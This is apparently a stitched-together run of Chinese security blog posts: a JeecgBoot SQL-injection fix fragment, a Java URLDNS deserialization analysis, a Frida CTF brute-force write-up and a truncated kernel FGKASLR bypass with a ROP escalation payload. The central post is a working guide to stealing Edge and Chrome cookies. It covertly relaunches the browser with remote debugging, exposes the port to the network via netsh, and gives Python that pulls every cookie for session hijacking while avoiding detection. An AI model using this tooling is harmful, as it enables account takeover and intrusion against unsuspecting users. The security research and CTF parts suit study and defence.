更改了72处的文件,其中需要注意db/其他数据库/jeecgboot-sqlserver2019.sql中重写了数据插入的方法 jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java中增加了对sql语句的正则 这个修复是针对于后端的SQL注入,/sys/duplicate/check 目前最新更新的3.5.1版本似乎依旧没有针对积木报表注入点儿的加固措施,修复时更换jar包 目前积木官方的jar包已升级。 关注积木5月份的升级日志 http://jimureport.com/doc/log小结 github上有师傅们的脚本,但是如果要批量使用的话建议在修改一下response的内容,仅仅只有操作失败的报错的话会存在大批量的报错。 所有自定义的if判断的回显都建议修改一下,如有错误欢迎指出。
Java反序列化:URLDNS的反序列化调试分析
URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。 笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。 一. Java反序列化前置知识 Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节序列。 Java原生链反序列化:利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。 测试源码如下,此部分源码参考了ol4three师傅的博客: package serialize; import java.io.*; public class deserTest implements Serializable {    private int n;    public deserTest(int n) {        this.n=n;   }    @Override    public String toString() {        return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="                + super.toString() + "]";   }    // 反序列化    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{        in.defaultReadObject();        Runtime.getRuntime().exec("calc");        System.out.println("test");   }    public static void main(String[] args) {        deserTest x = new deserTest(5);        operation1.ser(x);        operation1.deser();        x.toString();   } } // 实现序列化和反序列化具体细节的类 class operation1{    // 将输出字节流写入文件中进行封存    public static void ser(Object obj) {        // 序列化操作,写操作        try {             // 首先文件落地object.obj存储输出流,绑定输出流                      ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));            // 重定向将输出流字节写入文件            ooStream.writeObject(obj);                        ooStream.flush();            ooStream.close();       } catch (FileNotFoundException e) {            e.printStackTrace();       }catch (IOException e) {            // TODO: handle exception            e.printStackTrace();       }   }            public static void deser() {        // 反序列化,读取操作        try {            // 绑定输入流            ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));                        // 反序列化时需要从相关的文件容器中读取输出的字节流            // 读取字节流操作为readObject,所以重写readObject可以执行自定义代码            Object xObject = iiStream.readObject();            iiStream.close();       } catch (IOException e) {            // TODO: handle exception            e.printStackTrace();       } catch (ClassNotFoundException e) {            // TODO Auto-generated catch block            e.printStackTrace();       }   } } 二. ysoserial环境搭建 IDE就直接用JetBrains的IDEA就行 直接拿Java安全payload集成化工具ysoserial进行分析,这里面已经有现成的环境了 https://github.com/frohoff/ysoserial注意配置好相应的JDK和SDK版本: 三. URLDNS攻击链 影响的版本问题:与JDK版本无关,其攻击链实现依赖于Java内置类,与第三方库无关 URLDNS这条反序列化链只能发起DNS请求,无法进行其他利用,可以作为验证是否有反序列化漏洞的姿势 调试分析 Gadget Chain: Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() -> getHostAddress() 在getHostAddress函数中进行域名解析,从而可以被DNSLog平台捕获 URLDNS程序入口 在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路径下有URLDNS.java文件 main主函数的run函数打断点进入 这个ysoserial-master的payload运行结构大致是有一个专门的PayloadRunner运行程序,然后统一调用来运行各部分的payload 首先是进行序列化: 继续往下,生成command,由于是分析URLDNS攻击链,所以只需要修改将返回值为dnslog的临时地址 创建实例后,进入到URLDNS的getObject的payload函数 getObject函数中应该注意的是:声明了HashMap对象和URL对象,并进行put哈希绑定,最后设置作用域 反序列化链子: 在反序列化入口处打断点: 在反序列化时调用了readObject函数 然后进入HashMap.java的readObject函数 在readObject中调试到此行,了putval,在此处IDEA这个IDE可以选择进入的函数,直接进入后者hash 由于我们读入字节序列,需要将其恢复成相应的对象结构,那么就需要重新putval 传入的key不为空,执行key.hashCode 进一步在URL.java文件下 进入URLStreamHandler的hashCode 产生解析: 总的来说,利用链思路如下: 在反序列化URLDNS对象时,也需要反序列化HashMap对象,从而调用了HashMap.readObject()的重写函数,重写函数中调用了哈希表putval等的相关重构函数,在hashcode下调用了getHostAddress函数 那么反之,为什么首次声明的时候没有调用到了getHostAddress函数,现在给出声明时的函数路线: ht.put() --> .. --> SilentURLStreamHandler.getHostAddress() 该函数为空实现 列出几个路线上的关键函数看看: 由于此处key为String类型,则进入String.hashCode 相比之下,在反序列化中key为URL类型 设置了不发起dns解析 具体执行流,可以看下时序图,我就不讲了^^ 四. URLDNS链的使用 import java.io.*; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URL; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap; public class Main{    // 序列化前不发生dns解析    static class SilentURLStreamHandler extends URLStreamHandler{        protected URLConnection openConnection(URL n) throws IOException{            return null;       }        protected synchronized InetAddress getHostAddress(URL n)       {            return null;       }   }    public static void main(String[] args) throws Exception{        HashMap hashMap = new HashMap();        // 设置put时不发起dns解析        URLStreamHandler handler = new Main.SilentURLStreamHandler();        URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);        // 利用Java反射机制在动态执行时获取类        Class clazz = Class.forName("java.net.URL");        Field f = clazz.getDeclaredField("hashCode");        f.setAccessible(true);        hashMap.put(url, "123");        f.set(url, -1);        // 对象输出流绑定文件输出流        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));        oos.writeObject(hashMap); // 序列化        // 对象输入流绑定文件输入流        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));        ois.readObject(); // 反序列化   } }
利用远程调试获取Chromium内核浏览器Cookie
前言 本文将介绍不依靠DPAPI的方式获取Chromium内核浏览器Cookie 远程调试 首先我们以edge为例。edge浏览器是基于Chromium的,而Chromium是可以开启远程调试的,开启远程调试的官方文档如下: https://blog.chromium.org/2011/05/remote-debugging-with-chrome-developer.htmlchrome.exe --remote-debugging-port=9222 --user-data-dir=remote-profile 那么开启远程调试以后可以做什么呢,继续看官方文档: https://chromedevtools.github.io/devtools-protocol/tot/Storage/上述官方文档是Chrome开发者工具协议文档,里面提到如果需要实施调试、分析Chrome需要开启其远程调试: 并且告知开启后还提供了json等接口和各种API的使用: 既然edge是基于Chromium的,那么edge应该也是可以开启远程调试的。尝试使用Chrome开启远程调试的命令开启edge的远程调试: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 经测试是可以的,但是前提是必须没有msedge进程在启动着,否则上述命令虽然会启动edge进程,但是并不会开启远程调试端口。停止命令: Get-Process msedge | Stop-Process 获取Cookie 首先看Chrome开发者工具协议能否获取浏览器密码啥的,文档没有: 也是,大家平常F12调出开发者工具,也是没有获取浏览器密码方式的。 继续搜下Cookie,可以看到有个Network.getAllCookies,但是文档中提到已经弃用了,改用了Storage.getCookies: 那尝试使用Storage.getCookies是否可以获取Cookie呢。开启远程调试后,获取websocket地址: 然后尝试使用python的websocket-client模块发送接收数据时,发现提示403: 根据提示看起来是CORS的问题,且给出了解决方案: --remote-allow-origins=* 添加以后发送如下数据包就可以成功获取Cookie: {"id": 1, "method": "Storage.getCookies"} 为了方便远程访问其websocket接口,可以把远程调试端口映射出来: netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222 这样就可以远程访问目标的远程调试端口: 编写代码 Github有个自动开启远程调试端口和获取Cookie的仓库: https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py其中代码有几个问题,其一没解决CORS的问题,其二使用了可能弃用的Network.getAllCookies,其三开启远程调试端口可以不用依赖python,可以使用cmd命令,最终修改的代码如下: import json import requests import websocket GET_ALL_COOKIES_REQUEST = json.dumps({"id": 1, "method": "Storage.getCookies"}) def hit_that_secret_json_path_like_its_1997():   response = requests.get("http://10.211.55.8:48333/json")   websocket_url = response.json()[0].get("webSocketDebuggerUrl")   return websocket_url def gimme_those_cookies(ws_url):   ws = websocket.create_connection(ws_url)   ws.send(GET_ALL_COOKIES_REQUEST)   result = ws.recv()   ws.close()   response = json.loads(result)   cookies = response["result"]["cookies"]   return cookies ws_url = hit_that_secret_json_path_like_its_1997() print(ws_url) cookies = gimme_those_cookies(ws_url) print(cookies) 这样就可以达到在目标机器上开启远程调试端口并获取Cookie。为了防止开启的浏览器被用户发现,可以使用无头参数-headless,但是存在一个缺点,后面再讲。且为了防止/json接口返回空的情况,建议让浏览器启动时打开一个网站,因此最终完整命令如下: # 关闭edge Get-Process msedge | Stop-Process # 启动远程调试 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* -headless # 把远程调试端口映射出来 netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222 # 访问json接口获取websocket地址并获取Cookie # 关闭端口映射 netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333 实操 使用上述命令启动edge: 获取Cookie,发现只能获取到www.baidu.com的Cookie: 这就是上面提到的,使用无头参数-headless存在的一个缺点,只能获取到打开的网站的Cookie。因此如果想要获取指定目标网站的Cookie,要么重复上面的动作,要么取消无头参数-headless。笔者建议取消-headless参数,打开的浏览器用户也能正常使用,因此建议使用的命令如下: # 关闭edge Get-Process msedge | Stop-Process # 启动远程调试 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* # 把远程调试端口映射出来 netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222 # 访问json接口获取websocket地址并获取Cookie # 关闭端口映射 netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333 获取到上述数据以后,如何使用呢,笔者提供如下代码,来完成满足Cookie格式要求的拼接: def to_cookie_dict(data):   if 'www.chinabaiker.com' in data['domain']:       cookie_dict = {data['name']: data['value'], 'Domain': data['domain'], 'Path': data['path'], 'Expires': data['expires']}       print(cookie_dict)       return cookie_dict data_list = [{}] cookie_dict_list = [to_cookie_dict(data) for data in data_list] # 遍历多个cookie字典,将每个字典中的key和value格式化为key=value的字符串 cookie_str_list = [] for cookie_dict in cookie_dict_list:   try:       for k, v in cookie_dict.items():           cookie_str_list.append('{}={}'.format(k, v))   except Exception as e:       print(e)       pass # 使用;将多个key=value字符串连接在一起 cookie_str = ';'.join(cookie_str_list) print(cookie_str) 因为获取到的Cookie比较多,在代码最开始做了个简单的过滤: if 'www.chinabaiker.com' in data['domain']: 最终实现的效果如下:首先网站是非登录状态: 执行上述代码,获取Cookie: 然后放到burpsuite自动替换,笔者的替换规则如下: 最终成功完成Cookie的替换登录目标系统: Chrome浏览器同理,就不花篇幅讲了: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* 总结 本文介绍了不依靠DPAPI的方式获取Chromium内核浏览器Cookie,可以尽可能的减少被拦截的情况下去获取浏览器Cookie。
Frida主动调用java函数来爆破解题思路
利用Frida去调用java代码中的类,然后爆破。算是一种主动调用的方法。主动调用可以用于爆破,模拟程序部分执行,需要注意的知识点是在java代码中的static类型数据在爆破过程中需要每次都对这种类型值重新设置。因为static类型在所有实例中都是统一,修改一个实例就会修改所有实例,需要用变量.属性.value = ...的写法重新设置值。 var bvar = b.$new(IntClass.$new(2)); for (...) {    bvar._static_val.value = ...; } 背景知识 java类中静态值在爆破中需要修改 在java类中,一个属性如果是static的,不是说这个值不能改,而是说这个属性在程序中是唯一的,无论几个实例,只要改了其中一个实例中static的值,其他实例对应的值也会被改变。 在爆破过程中,如果需要爆破过程中不停new一个新的类实例,记得看看其中有没有static类型的变量。比如下面的这个例子 public class b {    public static ArrayList<Integer> a = new ArrayList<>();    static String b = "abcdefghijklmnopqrstuvwxyz";    static Integer d = 0;    Integer[] c = {8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13};    public b(Integer num) {        for (int intValue = num.intValue(); intValue < this.c.length; intValue++) {            a.add(this.c[intValue]);       }        for (int i = 0; i < num.intValue(); i++) {            a.add(this.c[i]);       }   } ... 每次new一个b类,比如b bVar = new b(2).如果要不停调用这个类,并且使用其中的方法,要注意其中的static变量会不会变。如果会变,那么在爆破过程中,需要new完实例后,修改static变量的值。 frida调用java中静态方法与动态方法 如果调用静态方法,可以直接调用,比如java代码如下 public class Verifier {    private Verifier() {   }    public static boolean verifyPassword(Context context, String input) {   ...   } 那么如果调用verifyPassword可以直接在frida中调用 var verify = Java.use("org.teamsik.ahe17.qualification.Verifier"); verify.verifyPassword(a, b); 如果是动态方法,有两种方法可以调用动态方法 第一种是,使用内存中已存在实例的方法,需要用到java.choose(...),这个是在内存中寻找对象 //从内存中(堆)直接搜索已存在的对象 Java.choose('xxx.xxx.xxx', //这里写类名 { //onMatch 匹配到对象执行的回调函数 onMatch: function (instance) {   },    //堆中搜索完成后执行的回调函数    onComplete: function () {   } }); 第二种是,我们new一个新的实例,然后调用实例中的方法 //获取类的引用 var cls = Java.use('这里写类名'); //调用构造函数 创建新对象 这里注意参数 var obj = cls.$new(); Easy-QAHE17 首先是看吾爱破解的一道题目,核心代码如下。 public void verifyPasswordClick(View view) {        String password = this.txPassword.getText().toString();        if (!Verifier.verifyPassword(this, password)) {            Toast.makeText(this, (int) org.teamsik.ahe17.qualification.easy.R.string.dialog_failure, 1).show();       } else {            showSuccessDialog();       }   } public class Verifier {    private Verifier() {   }    public static boolean verifyPassword(Context context, String input) {        if (input.length() != 4) {            return false;       }        byte[] v = encodePassword(input);        byte[] p = "09042ec2c2c08c4cbece042681caf1d13984f24a".getBytes();        if (v.length == p.length) {            for (int i = 0; i < v.length; i++) {                if (v[i] != p[i]) {                    return false;               }           }            return true;       }        return false;   } ... ... ... 输入长度为4,通过分析后面知道输入是数字。所以范围是1000-9999.所以是可以爆破的,但是爆破是要用到encodePassword方法,自己写一个当然也可以,但是很麻烦。这里就可以直接frida调用encodePassword函数. 注意这里encodePassword是静态方法,所以可以直接调用 function main() {    Java.perform(function x() {        console.log("In Java perform")        var verify = Java.use("org.teamsik.ahe17.qualification.Verifier")        var stringClass = Java.use("java.lang.String")        var p = stringClass.$new("09042ec2c2c08c4cbece042681caf1d13984f24a")                for (var i = 999; i < 10000; i++){            var v = stringClass.$new(String(i))            var vSign = verify.encodePassword(v)            if (parseInt(p) == parseInt(stringClass.$new(vSign))) {                console.log("yes: " + v)                break           }            console.log("not :" + v)       }   }) } setImmediate(main) 结果 not :9078 not :9079 not :9080 not :9081 not :9082 yes: 9083 需要注意的是,要调用parseInt解析内存中的内存再对比,因为string类型是java的string类型,对js代码来说是一段内存。 EasyJava 这题是纯java题,逻辑很清晰,对输入的每一个字符单个检查,加密并对比。所以可以很简单的想到爆破的思路 public static Boolean b(String str) {    if (str.startsWith("flag{") && str.endsWith("}")) {        String substring = str.substring(5, str.length() - 1);        b bVar = new b(2);        a aVar = new a(3);        StringBuilder sb = new StringBuilder();        int i = 0;        for (int i2 = 0; i2 < substring.length(); i2++) {            sb.append(a(substring.charAt(i2) + "", bVar, aVar));            Integer valueOf = Integer.valueOf(bVar.b().intValue() / 25);            if (valueOf.intValue() > i && valueOf.intValue() >= 1) {                i++;           }       }        return Boolean.valueOf(sb.toString().equals("wigwrkaugala"));   }    return false; } 所以可以单个字符爆破,但是要注意到,com.a.easyjava.b和com.a.easyjava.a两个类中都存在static属性的变量,下面是b类的 public class b {    public static ArrayList<Integer> a = new ArrayList<>();    static String b = "abcdefghijklmnopqrstuvwxyz";    static Integer d = 0;    Integer[] c = {8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13};    public b(Integer num) {        for (int intValue = num.intValue(); intValue < this.c.length; intValue++) {            a.add(this.c[intValue]);       }        for (int i = 0; i < num.intValue(); i++) {            a.add(this.c[i]);       }   }    public static void a() {        int intValue = a.get(0).intValue();        a.remove(0);        a.add(Integer.valueOf(intValue));        b += "" + b.charAt(0);        b = b.substring(1, 27);        Integer num = d;        d = Integer.valueOf(d.intValue() + 1);   }    public Integer a(String str) {        int i = 0;        if (b.contains(str.toLowerCase())) {            Integer valueOf = Integer.valueOf(b.indexOf(str));            for (int i2 = 0; i2 < a.size() - 1; i2++) {                if (a.get(i2) == valueOf) {                    i = Integer.valueOf(i2);               }           }       } else {            i = str.contains(" ") ? -10 : -1;       }        a();        return i;   }    public Integer b() {        return d;   } } b类中的a,b,d变量都是static类型的同时,这三个变量都会被下面的方法所改变。所以如果要爆破,需要重新修改实例中的属性值。如果不重新修改属性的值,我们通过观察b类中的b变量可以看到会有什么问题。 这个脚本是爆破第一个字符在加密后所有的可能性。爆破范围通过分析b类可以缩小到a-z,然后模仿加密过程,加密一个字符看看结果。中间每循环一次会重新申请一个b和a类的实例,想通过申请新的实例来避免类中变量的修改. function main() {    Java.perform(function x() {        console.log('[+] script load');                var b = Java.use("com.a.easyjava.b");        var a = Java.use("com.a.easyjava.a");        var StringClass = Java.use("java.lang.String");        var IntClass = Java.use("java.lang.Integer");        var MainActivity = Java.use("com.a.easyjava.MainActivity");        try { // try catch 用来查看报错的,可以去掉            for (var i = 97; i < 123; i++) {                var bvar = b.$new(IntClass.$new(2));                var avar = a.$new(IntClass.$new(3));                var s = String.fromCharCode(i);                var c = MainActivity.a(s, bvar, avar);                console.log(`enc(${s}) => ${c}, b.a => ${b._b.value}`);           }       } catch (e) {            console.log(e);       }        console.log('[+] script end');   }) } setImmediate(main) 结果如下 # python3 loader.py [+] script load enc(a) => a, b.b => bcdefghijklmnopqrstuvwxyza enc(b) => a, b.b => cdefghijklmnopqrstuvwxyzab enc(c) => a, b.b => defghijklmnopqrstuvwxyzabc enc(d) => a, b.b => efghijklmnopqrstuvwxyzabcd enc(e) => a, b.b => fghijklmnopqrstuvwxyzabcde enc(f) => a, b.b => ghijklmnopqrstuvwxyzabcdef enc(g) => a, b.b => hijklmnopqrstuvwxyzabcdefg enc(h) => a, b.b => ijklmnopqrstuvwxyzabcdefgh enc(i) => a, b.b => jklmnopqrstuvwxyzabcdefghi enc(j) => a, b.b => klmnopqrstuvwxyzabcdefghij enc(k) => a, b.b => lmnopqrstuvwxyzabcdefghijk enc(l) => a, b.b => mnopqrstuvwxyzabcdefghijkl enc(m) => a, b.b => nopqrstuvwxyzabcdefghijklm enc(n) => a, b.b => opqrstuvwxyzabcdefghijklmn enc(o) => a, b.b => pqrstuvwxyzabcdefghijklmno enc(p) => a, b.b => qrstuvwxyzabcdefghijklmnop enc(q) => a, b.b => rstuvwxyzabcdefghijklmnopq enc(r) => a, b.b => stuvwxyzabcdefghijklmnopqr enc(s) => a, b.b => tuvwxyzabcdefghijklmnopqrs enc(t) => a, b.b => uvwxyzabcdefghijklmnopqrst enc(u) => a, b.b => vwxyzabcdefghijklmnopqrstu enc(v) => a, b.b => wxyzabcdefghijklmnopqrstuv enc(w) => a, b.b => xyzabcdefghijklmnopqrstuvw enc(x) => a, b.b => yzabcdefghijklmnopqrstuvwx enc(y) => a, b.b => zabcdefghijklmnopqrstuvwxy enc(z) => a, b.b => abcdefghijklmnopqrstuvwxyz [+] script end 可以看到实际上,虽然每次new了一个新的实例,但是实例中的static变量是变了的,这导致了之前的爆破会影响到下一次爆破,同时也可以看到加密结果全部都是a。所以如果要爆破,就得想办法让每次爆破,新的实例中的值不变。 需要使用bvar._b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");这样的语法对static类型的变量重新设值。 需要注意的是有些变量在jadx/jeb中看到的名字可能会被重载,需要加一个下划线比如b -> _b。可以通过console打印看看是不是unknow,也可以直接用jadx右键复制frida片段,查看此变量frida需不需要加一个下划线 解题脚本的思路就很简单,单个字符来爆破,每次重新生成类的实例,并将类中的值置为初始状态(通过调用类$init方法)。 exp function main() {    Java.perform(function x() {        console.log('[+] script load');        var b = Java.use("com.a.easyjava.b");        var a = Java.use("com.a.easyjava.a");        var IntClass = Java.use("java.lang.Integer");        var StringClass = Java.use("java.lang.String");        var ArrayList = Java.use("java.util.ArrayList");        var MainActivity = Java.use("com.a.easyjava.MainActivity");        var flag = new Array();        var cipher = "wigwrkaugala";        var bvar = b.$new(IntClass.$new(2));        var avar = a.$new(IntClass.$new(3));        for (var _ = 0; _ < cipher.length; _++) {            for (var i = 97; i < 123; i++) { // 97 - 123是字母a-z                // reset static value                bvar._b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");                bvar.d.value = IntClass.$new(0);                bvar._a.value = ArrayList.$new();                bvar["$init"](IntClass.$new(2));                avar.b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");                avar.d.value = IntClass.$new(0);                avar._a.value = ArrayList.$new();                avar["$init"](IntClass.$new(3));                var s = String.fromCharCode(i);                flag.push(s);                for (var e = 0; e < flag.length; e++) {                    var c = MainActivity.a(flag[e].toString(), bvar, avar);                    if (c != cipher[e]) {                        break;                   }               }                if (c == cipher[flag.length - 1]) {                    console.log(flag);                    break               }                flag.length -= 1;           }       }        console.log('flag{' + flag.join('') + '}');        console.log('[+] script end');   }) } setImmediate(main); 结果 root@kali ~/frida-script-dev# python3 loader.py [+] script load v v,e v,e,n v,e,n,i v,e,n,i,v v,e,n,i,v,i v,e,n,i,v,i,a v,e,n,i,v,i,a,i v,e,n,i,v,i,a,i,v v,e,n,i,v,i,a,i,v,i v,e,n,i,v,i,a,i,v,i,c v,e,n,i,v,i,a,i,v,i,c,i flag{veniviaivici} [+] script end
Kernel-Pwn-FGKASLR保护绕过
FGKASLR FGASLR(Function Granular KASLR)是KASLR的加强版,增加了更细粒度的地址随机化。因此在开启了FGASLR的内核中,即使泄露了内核的程序基地址也不能调用任意的内核函数。 layout_randomized_image 在https://github.com/kaccardi/linux/blob/fg-kaslr/arch/x86/boot/compressed/fgkaslr.c文件中存在着随机化的明细。 /* linux/arch/x86/boot/compressed/fgkaslr.c */ void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs) {   ... shnum = ehdr->e_shnum; //获取节区的数量 shstrndx = ehdr->e_shstrndx; //获取字符串的索引   ... /* we are going to need to allocate space for the section headers */ sechdrs = malloc(sizeof(*sechdrs) * shnum); //开辟一段空间用于防止节区头部 if (!sechdrs) error("Failed to allocate space for shdrs"); sections = malloc(sizeof(*sections) * shnum); //开辟一段空间用户防止节区的内容 if (!sections) error("Failed to allocate space for section pointers"); memcpy(sechdrs, output + ehdr->e_shoff,       sizeof(*sechdrs) * shnum); //拷贝头部数据 /* we need to allocate space for the section string table */ s = &sechdrs[shstrndx]; //获取节区名 secstrings = malloc(s->sh_size); //开辟一段空间用于防止节区名称 if (!secstrings) error("Failed to allocate space for shstr"); memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷贝节区名称 /* * now we need to walk through the section headers and collect the * sizes of the .text sections to be randomized. */ for (i = 0; i < shnum; i++) { //遍历节区,选择需要重定位的节区 s = &sechdrs[i]; sname = secstrings + s->sh_name; if (s->sh_type == SHT_SYMTAB) { //遇到符号节区跳过 /* only one symtab per image */ if (symtab) error("Unexpected duplicate symtab"); symtab = malloc(s->sh_size); if (!symtab) error("Failed to allocate space for symtab"); memcpy(symtab, output + s->sh_offset, s->sh_size); num_syms = s->sh_size / sizeof(*symtab); continue; }       ... if (!strcmp(sname, ".text")) { //第一个.text的节区直接跳过 if (text) error("Unexpected duplicate .text section"); text = s; continue; } if (!strcmp(sname, ".data..percpu")) { //遇到.data..precpu的节区也直接跳过 /* get start addr for later */ percpu = s; continue; } if (!(s->sh_flags & SHF_ALLOC) ||    !(s->sh_flags & SHF_EXECINSTR) ||    !(strstarts(sname, ".text"))) //若一个节区具有SHF_ALLOC与SHF_EXECINSTR的标志位,并且节区名的前缀属于.text则会进行细粒度的地址随机化 continue; sections[num_sections] = s; //剩余的节区都放置到新开辟的空间中,进行细粒度的地址随机化 num_sections++; } sections[num_sections] = NULL; sections_size = num_sections;   ... } 通过上述代码分析可知 符号节区不进行细粒度的地址随机化 第一个.text节是不会进行细粒度的地址随机化 需要同时具备SHF_ALLOC与SHF_EXECINSTR标志位,并且节区的前缀为.text才会被选择进行细粒度的地址随机化 可以看到layout_randomized_image函数还是会保持原有的节区偏移,但是会在内存中寻找另一个空间进行存储,这就导致在内核开启了FGKASLR保护时并不是所有的节区都以内核程序基地址作为基址进行偏移,想要做到任意内核函数的调用,就需要找到调用函数所处的节区的基地址,使得利用更加复杂化了。 FGKASLR保护的绕过 想要绕过FGKASLR,我们可以挑选不受影响的节区中的gadget进行ROP链的构造。 首先是不存在SHF_ALLOC与SHF_EXECINSTR标志位的节区 其次是.text的节区,可以看到该节区存在0x200000的大小,因此可以挑选0xffffffff81000000 - 0xffffffff81000000 + 0x200000,可选的gadget还是比较充足的。 上述的节区都是不受FGKASLR保护的影响,只需要泄露出内核程序的基地址,就可以按照绕过KASLR的思路进行漏洞的利用。 想要在内核态完成提权返回到用户态,我们需要调用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq 因此先来看commit_creds与prepare_kernel_cred函数是否符合要求,可以看到commit_creds函数的地址为0xffffffff814c6410,prepare_kernel_cred函数的地址为0xffffffff814c67f0都是超过.text的节区空间了(这里我是关闭了KASLR的)。 可以多运行几次环境,查看这个两个函数的地址,会发现末尾地址的偏移会一直在变化。(开启了KASLR) cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred" 第一次 第二次 可以看到第一次运行与第二次运行的地址是完全不一样的,但是处于不进行细粒度的节区ksymtab,只有中间的九个比特位(KASLR)发生了改变,其余部分是一致的。这也是KASLR与FGKASLR的区别。但是实际的利用又需要用到这两个函数,因此还是需要特殊的手法泄露出这两个函数的实际地址。(1)能够泄露这两个函数现有的基地址(2)通过符号表进行地址读取。 这里采用(2)的手法进行函数地址的泄露,ksymtab节存放着内核函数的符号表,使用下述结构体进行维护。 struct kernel_symbol {  int value_offset;  int name_offset;  int namespace_offset; }; value_offset:内核符号的值的偏移 name_offset:内核符号的名称的偏移 namespace_offset:内核符号所属的命名空间的名称在内存中的偏移量或地址。 因此value_offset正是我们所关注的,这里需要注意的是这里的偏移地址是基于当前地址的偏移。以ksymtab_commit_creds为例,ksymtab_commit_creds的地址值为0xffffffffa8587d90,该地址存储的值为0xffa17ef0,计算的结果为0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80 ,结果刚好是commit_creds函数的地址值,这里说明一下为什么需要用(2^32 - 0xffa17ef0),因为value_offset是int类型,而0xffa17ef0是负数,因此需要 那么利用上述的方法就可以求出commit_creds与prepare_kernel_cred函数的地址。 那么接着看如何获取swapgs与iretq指令的地址,之前在介绍如何绕过kpti时介绍过一个特殊的函数swapgs_restore_regs_and_return_to_usermode,里面除了能够通过cr3转换页表,里面还具备swapgs和iretq指令。在内核中搜索一下这个函数的地址,可以发现它处于.text节区的范围内,因此这个地址可以直接拿来用。 因此绕过FGKASLR的方法就出来了,首先是泄露内核程序基地址,通过该基地址获得__ksymtab_commit_creds与__ksymtab_prepare_kernel_cred的地址,通过上述两个符号获取实际的commit_creds与prepare_kernel_cred函数的地址,最后通过swapgs_restore_regs_and_return_to_usermode函数返回用户态。 hxpCTF 2020 kernel-rop run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep,+smap \    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \    -s 这里还是使用 hxpCTF 2020的内核题作为例子 项目地址:https://github.com/h0pe-ay/Kernel-Pwn 之前提到过了程序存在栈溢出的漏洞,并且允许我们读取内核栈上的数据,通过读取内核栈上的数据可以泄露出canary的值以及程序的基地址,这里需要特别注意的是,当开启了FGKASLR时,不是所有的地址都可以用来计算基地址的,只能找在.text范围内的地址,否则是无法计算出内核程序基地址。因此这里选择0xffffffff8100a157的地址作为泄露地址。 那么在泄露了canary和地址之后就可以利用栈溢出完成提权返回用户态了,在之前的用户态下的利用,我们可以借助write或者是puts函数去读取地址中的内容,但是在内核态的利用则不需要这么麻烦了,例如可以先将__ksymtab_commit_creds地址赋值给rax寄存器,接着通过mov rax,[rax]; ret的指令完成对指定地址完成读取操作。这里我使用的gadget为 0xffffffff81004d11: pop rax; ret; [0x4d11] 0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f] 首先利用pop rax; ret指令,将__ksymtab_commit_creds函数的地址赋值给rax寄存器,接着使用mov rax, qword ptr [rax];函数将__ksymtab_commit_creds地址的内容读取到rax寄存器中,那么接下来就是如何提取出rax寄存器。可以借助swapgs_restore_regs_and_return_to_usermode函数先暂时返回到用户态,接着采用内联汇编,进行值的提取。这里需要注意的是需要将ROP链与内联汇编分隔开,否则rax寄存器可能会被编译器优化掉,即会有清空rax寄存器的操作。并且所有找的gadget都必须是不会进行细粒 ... void start() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x4d11; //pop_rax_ret payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret; payload[index++] = 0; payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   